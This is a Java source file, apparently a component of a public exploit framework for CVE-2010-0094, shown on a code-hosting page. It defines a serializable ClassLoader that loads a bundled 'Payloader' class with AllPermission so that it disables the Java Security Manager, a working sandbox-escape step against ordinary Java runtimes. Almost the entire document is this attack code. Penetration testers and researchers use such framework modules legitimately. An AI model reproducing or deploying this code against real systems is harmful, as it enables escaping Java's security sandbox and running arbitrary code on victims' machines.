Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2010-0094/PayloadClassLoader.java
Views: 11780
import java.io.ByteArrayOutputStream;1import java.io.IOException;2import java.io.InputStream;3import java.io.ObjectInputStream;4import java.io.ObjectOutputStream;5import java.io.Serializable;6import java.net.URL;7import java.security.AllPermission;8import java.security.CodeSource;9import java.security.Permissions;10import java.security.ProtectionDomain;11import java.security.cert.Certificate;1213/**14* This class is a classloader and loads our Payloader class that disables the15* Security Manager16*17* @author mka18*19*/20public class PayloadClassLoader extends ClassLoader implements Serializable {2122private static final long serialVersionUID = -7072212342699783162L;23public static PayloadClassLoader instance = null;2425private void writeObject(ObjectOutputStream paramObjectOutputStream)26throws IOException, ClassNotFoundException {27paramObjectOutputStream.defaultWriteObject();28}2930private void readObject(ObjectInputStream paramObjectInputStream)31throws IOException, ClassNotFoundException {32instance = this;33paramObjectInputStream.defaultReadObject();34}3536public void loadIt() throws IOException, InstantiationException,37IllegalAccessException {3839ByteArrayOutputStream localObject1;40byte[] localObject2;41InputStream localObject3;4243localObject1 = new ByteArrayOutputStream();44localObject2 = new byte[8192];4546localObject3 = super.getClass().getResourceAsStream("/Payloader.class");47int j;48while ((j = (localObject3).read(localObject2)) > 0) {4950(localObject1).write(localObject2, 0, j);51}52localObject2 = (localObject1).toByteArray();5354URL localURL = new URL("file:///");55Class localClass;5657Certificate[] arrayOfCertificate = new Certificate[0];5859Permissions localPermissions = new Permissions();60localPermissions.add(new AllPermission());6162ProtectionDomain localProtectionDomain = new ProtectionDomain(63new CodeSource(localURL, arrayOfCertificate), localPermissions);64localClass = defineClass("Payloader", localObject2, 0,65localObject2.length, localProtectionDomain);66localClass.newInstance();6768}6970}717273